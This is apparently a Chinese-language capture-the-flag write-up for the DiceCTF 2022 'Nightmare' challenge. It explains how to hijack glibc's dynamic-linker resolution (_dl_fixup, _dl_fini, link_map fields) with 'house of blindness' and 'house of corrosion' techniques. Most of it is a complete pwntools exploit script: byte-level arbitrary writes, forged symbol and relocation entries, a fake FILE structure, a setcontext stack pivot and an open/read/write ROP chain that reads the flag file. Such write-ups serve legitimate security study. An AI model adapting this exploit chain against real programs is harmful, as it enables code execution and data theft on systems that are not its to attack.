IS-pwn-Linux-glibc-dl_resolve过程劫持

基础知识

部分基础知识已在ret2dl_resolve相关博客介绍.

DiceCTF-2022-Nightmare

该题情况:无泄露,一次libc任意地址写,ORW.

由于该题编译时采用了noreturn选项,所以main函数和nightmare函数最后没有ret指令,而是call _Exit后直接到下一个函数的指令.

所以只需要让_Exit返回就可以获得任意次libc任意地址写.

任意次libc/ld任意地址写

_dl_fixup函数中会解析的地址会被填入l->l_addr + reloc->r_offset,所以只需要修改l->l_addr使write函数的地址写入_Exitgot表项,就可以让_Exit调用正常返回.

gdb调试查看link_map结构体指针的值,算出偏移修改l->l_addr最低字节为8 * 5(write@got_Exit@git的偏移).

1
write(binary_map.l_addr(), p8(elf.got["_Exit"] - elf.got["write"]))

任意函数调用

此时已经获得任意次libc任意地址写,由于write@got并没有被修改,所以之后仍然可以继续攻击_dl_fixup流程.

sym->st_name在程序段,是固定的,但是strtab源于l->l_info[DT_STRTAB]->d_un.d_ptr(*(l->l_info[5] + 0x8)),可以劫持,从而可以完成任意函数调用,但是无法控制参数.

gdb调试<_dl_fixup+252>处可以看到相关参数,只需要修改l->l_info[5]使l->l_info[5] + 0x8上为某个指向libc可写区域的指针,观察发现确实存在.

只需要先在_r_debug + sym->st_name写入想调用的函数的字符串,再将l->l_info[5]的最低字节为0xb8即可调用对应函数.

1
2
3
4
fake_func_name = b"_dl_x86_get_cpu_features\x00"
write(ld.symbols["_r_debug"] + 0x4b, fake_func_name)
# set elf strtab to _r_debug
write(binary_map.l_info(link_map.DT_STRTAB), p8(0xb8))

任意地址调用

但现在还不能做到任意地址调用,但可以看到最后的地址是由符号解析出来的地址加上sym->st_value,不过这里的sym已经被改为找到该符号的so中的对应项.

所以需要劫持ld.so中的symtab,在对应的偏移伪造Elf64_Sym从而做到任意地址调用.

但是现代二进制文件利用版本控制来指定它们将从哪些库中导入符号,这些版本信息存储在l->l_info[DT_VER],需要将其设为null以利用全局范围的符号.

由于只能逐字节写入,所以在将l->l_info[DT_VER]NULL时符号解析会出错,这可以通过使用本地符号,从而使符号解析不需要对引用版本信息来绕过.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
my_rela = elf64_rela.pack(0x4100, 0x200000007, 0)
write(ld.symbols["_r_debug"], my_rela)
# set reloc table to _r_debug
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xb8))

my_sym = elf64_sym.pack(0, 0x12, 1, 0, elf.symbols["_init"] - l_addr_offset, 0)
write(ld.symbols["_r_debug"] + elf64_sym.size * 2, my_sym)
# set symtab to _r_debug
write(binary_map.l_info(link_map.DT_SYMTAB), p8(0xb8))

# set version info ptr to NULL
write(binary_map.l_info(link_map.DT_VER), p64(0))

# restore symtab and reloc table
write(binary_map.l_info(link_map.DT_SYMTAB), p8(0x88))
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xf8))

接下来将_dl_fini的地址填入write@got,此时已不会调用_dl_fixup,但_dl_fini会调用link_map中的函数指针.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# set elf l->l_init_called = 0
# unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
write(binary_map.l_init_called(), p8(0))

ld.symbols["_dl_fini"] = ld.address + 0x6040
ld.symbols["_GLOBAL_OFFSET_TABLE_"] = ld.address + 0x3a000
# _dl_x86_get_cpu_features's fake_sym
my_sym = elf64_sym.pack(0xb07 - 0x950, 0x12, 0x0, 0xd, ld.symbols["_dl_fini"] - ld.address, 0xc)
write(ld.symbols["_GLOBAL_OFFSET_TABLE_"] + elf64_sym.size * 14, my_sym)
# set ld symtab to _GLOBAL_OFFSET_TABLE_ = ld's GOT
write(ld_map.l_info(link_map.DT_SYMTAB), p8(0xf0))

fake_func_name = b"_dl_x86_get_cpu_features\x00"
write(ld.symbols["_r_debug"] + 0x4b, fake_func_name)
# set elf strtab to _r_debug
write(binary_map.l_info(link_map.DT_STRTAB), p8(0xb8))
# write resolution to write
my_rela = elf64_rela.pack(2 * elf.got["write"] - elf.got["_Exit"], 0x200000007, 0)
write(ld.symbols["_r_debug"], my_rela)
# set reloc table to _r_debug
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xb8))
# restore reloc table
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xf8))

_dl_fini函数具体细节参考exit相关博客.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
for (i = 0; i < nmaps; ++i) {
struct link_map *l = maps[i];
//遍历执行maps[i]里的函数指针
if (l->l_init_called) {
l->l_init_called = 0;
if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL) {
if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n", DSO_FILENAME (l->l_name), ns);
if (l->l_info[DT_FINI_ARRAY] != NULL) {
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
// 利用此处,rdi指向_rtld_global._dl_load_lock
}
}
--l->l_direct_opencount;
}

做一些前期准备.

1
2
3
4
5
6
7
8
# restore l_addr
write(binary_map.l_addr(), p8(0))
# set DT_FINI to _r_debug
write(binary_map.l_info(link_map.DT_FINI), p8(0xb8))
# set DT_FINI_ARRAY 0 to disable DT_FINI_ARRAY
write(binary_map.l_info(link_map.DT_FINI_ARRAY), p64(0))
# set invalid _kind
write(_rtld_global._dl_load_lock() + 0x10, p8(0xff))

此时只需要设置好目标地址:l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr = l->l_addr + ld.symbols["_r_debug"],参数rdi指向_rtld_global._dl_load_lock即可.

1
2
3
4
5
# house of blindness to call a function
def call_func(target_addr, rdi_content = b""):
write(binary_map.l_addr(), p64(target_addr - ld.symbols["_r_debug"], signed = True))
write(_rtld_global._dl_load_lock(), rdi_content)
write(binary_map.l_init_called(), p8(0xff))

任意地址写入mmap指针

在无泄漏的情况下,可以通过house of corrosionmmap指针到目标地址.

由于参数固定为_rtld_global._dl_load_lock,可以在该处伪造IO_FILE,然后调用某些函数达成mallocfree的效果,从而达成house of corrosion.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def malloc(size, flag):
assert size % 2 == 0
old_size = int((size - 100) / 2)

file = p64(0)
# _IO_read_ptr _IO_read_end
file += p64(0xffffffffffffffff) + p64(0xffffffffffffffff)
file += p64(0) + p64(0)
# _IO_write_ptr
file += p64(old_size + 0xff)
file += p64(0) + p64(0)
# _IO_buf_end
file += p64(old_size)
if flag:
file = file.ljust(0x68, b"\x00")
call_func(libc.symbols["_IO_str_overflow"], file)
# set invalid _dl_load_lock._kind
write(_rtld_global._dl_load_lock() + 0x10, p8(0xff))

def free():
call_func(libc.symbols["_IO_str_finish"])

def gmf_size(offset):
# house of corrosion's size
return (offset - libc.symbols["main_arena"] + 0x8) * 2 - 0x10

def page_boundary(size):
return (size + 0x1000) >> 12 << 12

page_mem_alloc = 0

# house of corrosion: write mmap ptr to offset
def ptr_write(offset, flag = 1):
global page_mem_alloc
write(offset, p64(0))
size = gmf_size(offset)
malloc(size, flag)
write(libc.symbols["global_max_fast"], p64(0xffffffffffffffff))
write(-page_boundary(size) - 8 - page_mem_alloc, p64(size | 1))
write(-page_boundary(size) + size - 0x8 - page_mem_alloc, p8(0x50))
page_mem_alloc += page_boundary(size)
free()
write(libc.symbols["global_max_fast"], p64(0))
return -page_mem_alloc

任意地址写入任意指针

可以通过在_rtld_global._dl_load_lock伪造link_map,最后调用_dl_fixup来完成该过程,伪造方式如下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
fake_linkmap = link_map(_rtld_global._dl_load_lock() - ld.address)
symtab_dyn = ptr_write(fake_linkmap.l_info(link_map.DT_SYMTAB))

##### double free to make symtab struct for _dl_fixup

fake_io = io_obj(_rtld_global._dl_load_lock())
write(fake_io._IO_save_end(), p8(0xff))
call_func(libc.symbols["_IO_switch_to_backup_area"])
# set size to a tcache chunk
write(symtab_dyn - 0x8, p64(0x200 | 1))
write(fake_io._flags(), p64(0))
call_func(libc.symbols["_IO_free_backup_area"])
call_func(libc.symbols["__open_memstream"])
write(fake_linkmap.l_info(link_map.DT_SYMTAB), p8(0x90))
symtab = symtab_dyn + 0x110

##### complete linkmap for _dl_fixup

strtab = ptr_write(fake_linkmap.l_info(link_map.DT_STRTAB))
pltgot = ptr_write(fake_linkmap.l_info(link_map.DT_PLTGOT))
write(pltgot - 0x8, p64(0))
write(fake_linkmap.l_info(link_map.DT_JMPREL), p8(0xf8))
jmprel = ptr_write(ld.symbols["_GLOBAL_OFFSET_TABLE_"], 0)
addr = ptr_write(fake_linkmap.l_addr(), 0)
print("addr: " + hex(addr))

然后调用_dl_fixup即可任意地址写入任意指针.

1
2
3
4
def rel_write(where, what):
write(jmprel + elf64_rela.size * 4 - 0x10, elf64_rela.pack(where - addr + 0x10, 0x000000007, 0))
write(symtab - 0x10, elf64_sym.pack(0, 0x12, 1, 0, what - addr + 0x10, 0))
call_func(ld.symbols["_dl_fixup"])

exp

剩下的就是常规的通过gadgetsetcontext + 61完成栈迁移,进行ORW ROP获得flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
from pwn import *
import struct

context.aslr = False
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF("./nightmare")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
ld = ELF("/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2")

ld.address = 0x278000 - 0x10
libc.address = 0x44000 - 0x10

# typedef struct {
# Elf64_Word st_name;
# unsigned char st_info;
# unsigned char st_other;
# Elf64_Half st_shndx;
# Elf64_Addr st_value;
# Elf64_Xword st_size;
# } Elf64_Sym;
elf64_sym = struct.Struct("<LBBHQQ")

# typedef struct {
# Elf64_Addr r_offset;
# Elf64_Xword r_info;
# Elf64_Sxword r_addend;
# } Elf64_Rela;
elf64_rela = struct.Struct("<QQQ")

class link_map:
DT_JMPREL = 23
DT_SYMTAB = 6
DT_STRTAB = 5
DT_VER = 50
DT_FINI = 13
DT_PLTGOT = 3
DT_FINI_ARRAY = 26
DT_FINI_ARRAYSZ = 28
def __init__(self, offset):
self.offset = offset
def l_addr(self):
return ld.address + self.offset
def l_info(self, tag):
return ld.address + self.offset + 0x40 + tag * 8
def l_init_called(self):
return self.l_addr() + 0x31c

binary_map = link_map(0x3b2e0)
ld_map = link_map(0x3aaf0)

class rtld_global:
def __init__(self, offset):
self.offset = offset
def _base(self):
return self.offset
def _dl_load_lock(self):
return self.offset + 0xa08
def _dl_stack_used(self):
return self.offset + 0x988
def _dl_rtld_map(self):
return self.offset + 0xa08

_rtld_global = rtld_global(ld.symbols["_rtld_global"])

class io_obj:
def __init__(self, offset):
self.offset = offset
def _flags(self):
return self.offset
def _IO_save_end(self):
return self.offset + 0x58

r = process("./nightmare")

# gdb.attach(r, "c")

def write(offset, bytes):
for i, byte in enumerate(bytes):
r.send(p64(offset + i, signed = True))
r.send(p8(byte))

def clean(len):
for i in range(len):
r.recvuntil("POINTERS")

# house of blindness to call a function
def call_func(target_addr, rdi_content = b""):
write(binary_map.l_addr(), p64(target_addr - ld.symbols["_r_debug"], signed = True))
write(_rtld_global._dl_load_lock(), rdi_content)
write(binary_map.l_init_called(), p8(0xff))

################ write l_addr

write(binary_map.l_addr(), p8(elf.got["_Exit"] - elf.got["write"]))
clean(1)

################ clear version info

my_rela = elf64_rela.pack(0x4100, 0x200000007, 0)
write(ld.symbols["_r_debug"], my_rela)
clean(len(my_rela))
# set elf reloc table to _r_debug
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xb8))
clean(1)

my_sym = elf64_sym.pack(0, 0x12, 1, 0, elf.symbols["_init"] - elf.got["_Exit"] + elf.got["write"], 0)
write(ld.symbols["_r_debug"] + elf64_sym.size * 2, my_sym)
clean(len(my_sym))
# set elf symtab to _r_debug
write(binary_map.l_info(link_map.DT_SYMTAB), p8(0xb8))

# set elf version info ptr to NULL
write(binary_map.l_info(link_map.DT_VER), p64(0))

# restore elf symtab and reloc table
write(binary_map.l_info(link_map.DT_SYMTAB), p8(0x88))
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xf8))
clean(2)

################ replace write@got with _dl_fini

# set elf l->l_init_called = 0
# unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
write(binary_map.l_init_called(), p8(0))
clean(1)

ld.symbols["_dl_fini"] = ld.address + 0x6040
ld.symbols["_GLOBAL_OFFSET_TABLE_"] = ld.address + 0x3a000
# _dl_x86_get_cpu_features's fake_sym
my_sym = elf64_sym.pack(0xb07 - 0x950, 0x12, 0x0, 0xd, ld.symbols["_dl_fini"] - ld.address, 0xc)
write(ld.symbols["_GLOBAL_OFFSET_TABLE_"] + elf64_sym.size * 14, my_sym)
clean(len(my_sym))
# set ld symtab to _GLOBAL_OFFSET_TABLE_ = ld's GOT
write(ld_map.l_info(link_map.DT_SYMTAB), p8(0xf0))
clean(1)

fake_func_name = b"_dl_x86_get_cpu_features\x00"
write(ld.symbols["_r_debug"] + 0x4b, fake_func_name)
clean(len(fake_func_name))
# set elf strtab to _r_debug
write(binary_map.l_info(link_map.DT_STRTAB), p8(0xb8))
# write resolution to write@got
my_rela = elf64_rela.pack(2 * elf.got["write"] - elf.got["_Exit"], 0x200000007, 0)
write(ld.symbols["_r_debug"], my_rela)
# set reloc table to _r_debug
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xb8))
# restore reloc table
write(binary_map.l_info(link_map.DT_JMPREL), p8(0xf8))

################ house of blindness setup

# restore l_addr
write(binary_map.l_addr(), p8(0))
# set DT_FINI to _r_debug
write(binary_map.l_info(link_map.DT_FINI), p8(0xb8))
# set DT_FINI_ARRAY 0 to disable DT_FINI_ARRAY
write(binary_map.l_info(link_map.DT_FINI_ARRAY), p64(0))
# set invalid _dl_load_lock._kind
write(_rtld_global._dl_load_lock() + 0x10, p8(0xff))

################ some symbols

libc.symbols["main_arena"] = libc.address + 0x219c80
libc.symbols["global_max_fast"] = libc.address + 0x220500
libc.symbols["_IO_str_finish"] = libc.address + 0x8f9f0
libc.symbols["_IO_switch_to_backup_area"] = libc.address + 0x8d770
libc.symbols["__open_memstream"] = libc.address + 0x87d60
ld.symbols["_dl_fixup"] = libc.address + 0x246e70

################ mmap_ptr_write

def malloc(size, flag):
assert size % 2 == 0
old_size = int((size - 100) / 2)

file = p64(0)
# _IO_read_ptr _IO_read_end
file += p64(0xffffffffffffffff) + p64(0xffffffffffffffff)
file += p64(0) + p64(0)
# _IO_write_ptr
file += p64(old_size + 0xff)
file += p64(0) + p64(0)
# _IO_buf_end
file += p64(old_size)
if flag:
file = file.ljust(0x68, b"\x00")
call_func(libc.symbols["_IO_str_overflow"], file)
# set invalid _dl_load_lock._kind
write(_rtld_global._dl_load_lock() + 0x10, p8(0xff))

def free():
call_func(libc.symbols["_IO_str_finish"])

def gmf_size(offset):
# house of corrosion's size
return (offset - libc.symbols["main_arena"] + 0x8) * 2 - 0x10

def page_boundary(size):
return (size + 0x1000) >> 12 << 12

page_mem_alloc = 0

# house of corrosion: write mmap ptr to offset
def ptr_write(offset, flag = 1):
global page_mem_alloc
write(offset, p64(0))
size = gmf_size(offset)
malloc(size, flag)
write(libc.symbols["global_max_fast"], p64(0xffffffffffffffff))
write(-page_boundary(size) - 8 - page_mem_alloc, p64(size | 1))
write(-page_boundary(size) + size - 0x8 - page_mem_alloc, p8(0x50))
page_mem_alloc += page_boundary(size)
free()
write(libc.symbols["global_max_fast"], p64(0))
return -page_mem_alloc

################ fake linkmap

fake_linkmap = link_map(_rtld_global._dl_load_lock() - ld.address)
symtab_dyn = ptr_write(fake_linkmap.l_info(link_map.DT_SYMTAB))

##### double free to make symtab struct for _dl_fixup

fake_io = io_obj(_rtld_global._dl_load_lock())
write(fake_io._IO_save_end(), p8(0xff))
call_func(libc.symbols["_IO_switch_to_backup_area"])
# set size to a tcache chunk
write(symtab_dyn - 0x8, p64(0x200 | 1))
write(fake_io._flags(), p64(0))
call_func(libc.symbols["_IO_free_backup_area"])
call_func(libc.symbols["__open_memstream"])
write(fake_linkmap.l_info(link_map.DT_SYMTAB), p8(0x90))
symtab = symtab_dyn + 0x110

##### complete linkmap for _dl_fixup

strtab = ptr_write(fake_linkmap.l_info(link_map.DT_STRTAB))
pltgot = ptr_write(fake_linkmap.l_info(link_map.DT_PLTGOT))
write(pltgot - 0x8, p64(0))
write(fake_linkmap.l_info(link_map.DT_JMPREL), p8(0xf8))
jmprel = ptr_write(ld.symbols["_GLOBAL_OFFSET_TABLE_"], 0)
addr = ptr_write(fake_linkmap.l_addr(), 0)
print("addr: " + hex(addr))

################ _dl_fixup

def rel_write(where, what):
write(jmprel + elf64_rela.size * 4 - 0x10, elf64_rela.pack(where - addr + 0x10, 0x000000007, 0))
write(symtab - 0x10, elf64_sym.pack(0, 0x12, 1, 0, what - addr + 0x10, 0))
call_func(ld.symbols["_dl_fixup"])

################ stack pivot

# 0x1675b0
# 0x7ffff7ef65b0 <getkeyserv_handle+576>: mov rdx,QWORD PTR [rdi + 0x8]
# 0x7ffff7ef65b4 <getkeyserv_handle+580>: mov QWORD PTR [rsp],rax
# 0x7ffff7ef65b8 <getkeyserv_handle+584>: call QWORD PTR [rdx + 0x20]
rbx_write_call = libc.address + 0x1675b0
# set rdx = [rdi + 0x8] = origin_mmap_ptr
rel_write(_rtld_global._dl_load_lock() + 8, 0)
# set [rdx + 0x20] = setcontext + 61
rel_write(0x20, libc.symbols["setcontext"] + 61)
# set rsp = origin_mmap_ptr + 0x100
rel_write(0xa0, 0x100)
# set ret gadget
rel_write(0xa8, libc.symbols["setcontext"] + 334)

################ rop chain

pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_ret = libc.address + 0x11f497
pop_rax_ret = libc.address + 0x45eb0
syscall = libc.address + 0x114a35

write(ld.symbols["_r_debug"], b"./flag\x00")
i = 0

rel_write(0x100 + i * 8, pop_rdi_ret)
i = i + 1
rel_write(0x100 + i * 8, ld.symbols["_r_debug"])
i = i + 1
rel_write(0x100 + i * 8, pop_rsi_ret)
i = i + 1
write(0x100 + i * 8, p64(0))
i = i + 1
rel_write(0x100 + i * 8, pop_rax_ret)
i = i + 1
write(0x100 + i * 8, p64(2))
i = i + 1
rel_write(0x100 + i * 8, syscall)
i = i + 1
# open("./flag", 0)

rel_write(0x100 + i * 8, pop_rdi_ret)
i = i + 1
write(0x100 + i * 8, p64(3))
i = i + 1
rel_write(0x100 + i * 8, pop_rsi_ret)
i = i + 1
rel_write(0x100 + i * 8, ld.symbols["_r_debug"])
i = i + 1
rel_write(0x100 + i * 8, pop_rdx_pop_ret)
i = i + 1
write(0x100 + i * 8, p64(0x30))
i = i + 1
write(0x100 + i * 8, p64(0))
i = i + 1
rel_write(0x100 + i * 8, pop_rax_ret)
i = i + 1
write(0x100 + i * 8, p64(0))
i = i + 1
rel_write(0x100 + i * 8, syscall)
i = i + 1
# read(3, buffer, 0x30)

rel_write(0x100 + i * 8, pop_rdi_ret)
i = i + 1
write(0x100 + i * 8, p64(1))
i = i + 1
rel_write(0x100 + i * 8, pop_rsi_ret)
i = i + 1
rel_write(0x100 + i * 8, ld.symbols["_r_debug"])
i = i + 1
rel_write(0x100 + i * 8, pop_rdx_pop_ret)
i = i + 1
write(0x100 + i * 8, p64(0x30))
i = i + 1
write(0x100 + i * 8, p64(0))
i = i + 1
rel_write(0x100 + i * 8, pop_rax_ret)
i = i + 1
write(0x100 + i * 8, p64(1))
i = i + 1
rel_write(0x100 + i * 8, syscall)
i = i + 1
# write(1, buffer, 0x30)

################ win

gdb.attach(r, "b * (0x1555552e6000 + 0x1675b0)")

call_func(rbx_write_call)

################ gdb
# gdb.attach(r, "b _dl_fixup")
# gdb.attach(r, "b _dl_fini")
# gdb.attach(r, "b * (0x1555552e6000 + 0x8f9f0)\nb * (0x1555552e6000 + 0x8f610)")
# gdb.attach(r, "b * (0x1555552e6000 + 0x8E7B0)")

r.interactive()
0%
;